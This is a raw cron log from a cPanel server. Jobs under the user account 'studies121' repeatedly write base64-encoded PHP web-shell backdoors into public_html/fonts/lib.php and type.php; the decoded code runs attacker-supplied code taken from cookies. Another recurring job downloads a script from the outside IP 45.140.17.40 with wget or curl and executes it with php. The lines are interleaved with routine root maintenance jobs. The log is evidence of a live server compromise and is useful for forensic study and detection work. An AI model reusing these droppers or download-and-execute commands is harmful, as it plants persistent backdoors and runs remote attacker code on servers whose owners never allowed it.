Aug 31 21:08:01 ip-184-168-122-23 CROND[29082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:08:01 ip-184-168-122-23 CROND[29083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:09:01 ip-184-168-122-23 CROND[29167]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:09:01 ip-184-168-122-23 CROND[29170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:09:01 ip-184-168-122-23 CROND[29171]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 21:09:01 ip-184-168-122-23 CROND[29169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:09:01 ip-184-168-122-23 CROND[29172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:10:01 ip-184-168-122-23 CROND[29308]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 21:10:01 ip-184-168-122-23 CROND[29316]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 21:10:01 ip-184-168-122-23 CROND[29312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:10:01 ip-184-168-122-23 CROND[29314]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 21:10:01 ip-184-168-122-23 CROND[29311]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 21:10:01 ip-184-168-122-23 CROND[29310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:10:01 ip-184-168-122-23 CROND[29313]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:10:01 ip-184-168-122-23 CROND[29315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:11:01 ip-184-168-122-23 CROND[29410]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:11:01 ip-184-168-122-23 CROND[29411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:11:01 ip-184-168-122-23 CROND[29409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:11:01 ip-184-168-122-23 CROND[29412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:12:01 ip-184-168-122-23 CROND[29500]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 21:12:01 ip-184-168-122-23 CROND[29502]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:12:01 ip-184-168-122-23 CROND[29503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:12:01 ip-184-168-122-23 CROND[29506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:12:01 ip-184-168-122-23 CROND[29504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:13:01 ip-184-168-122-23 CROND[29587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:13:01 ip-184-168-122-23 CROND[29590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:13:01 ip-184-168-122-23 CROND[29592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:13:01 ip-184-168-122-23 CROND[29589]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:14:01 ip-184-168-122-23 CROND[29790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:14:01 ip-184-168-122-23 CROND[29792]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:14:01 ip-184-168-122-23 CROND[29793]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 21:14:01 ip-184-168-122-23 CROND[29797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:14:01 ip-184-168-122-23 CROND[29795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:15:01 ip-184-168-122-23 CROND[29894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:15:01 ip-184-168-122-23 CROND[29896]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:15:01 ip-184-168-122-23 CROND[29902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:15:01 ip-184-168-122-23 CROND[29901]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 21:15:01 ip-184-168-122-23 CROND[29899]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 21:15:01 ip-184-168-122-23 CROND[29900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:16:01 ip-184-168-122-23 CROND[29996]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 21:16:02 ip-184-168-122-23 CROND[29999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:16:02 ip-184-168-122-23 CROND[30002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:16:02 ip-184-168-122-23 CROND[30001]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:16:02 ip-184-168-122-23 CROND[30003]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 21:16:02 ip-184-168-122-23 CROND[30004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:17:01 ip-184-168-122-23 CROND[30091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:17:01 ip-184-168-122-23 CROND[30093]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:17:01 ip-184-168-122-23 CROND[30095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:17:01 ip-184-168-122-23 CROND[30096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:18:01 ip-184-168-122-23 CROND[30172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:18:01 ip-184-168-122-23 CROND[30173]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 21:18:01 ip-184-168-122-23 CROND[30175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:18:01 ip-184-168-122-23 CROND[30176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:18:01 ip-184-168-122-23 CROND[30178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:19:01 ip-184-168-122-23 CROND[30263]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 21:19:01 ip-184-168-122-23 CROND[30265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 21:19:01 ip-184-168-122-23 CROND[30267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:19:01 ip-184-168-122-23 CROND[30266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 21:20:01 ip-184-168-122-23 CROND[30484]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 21:20:01 ip-184-168-122-23 CROND[30486]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 21:20:01 ip-184-168-122-23 CROND[30489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 21:20:01 ip-184-168-122-23 CROND[30487]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 21:20:01 ip-184-168-122-23 CROND[30488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
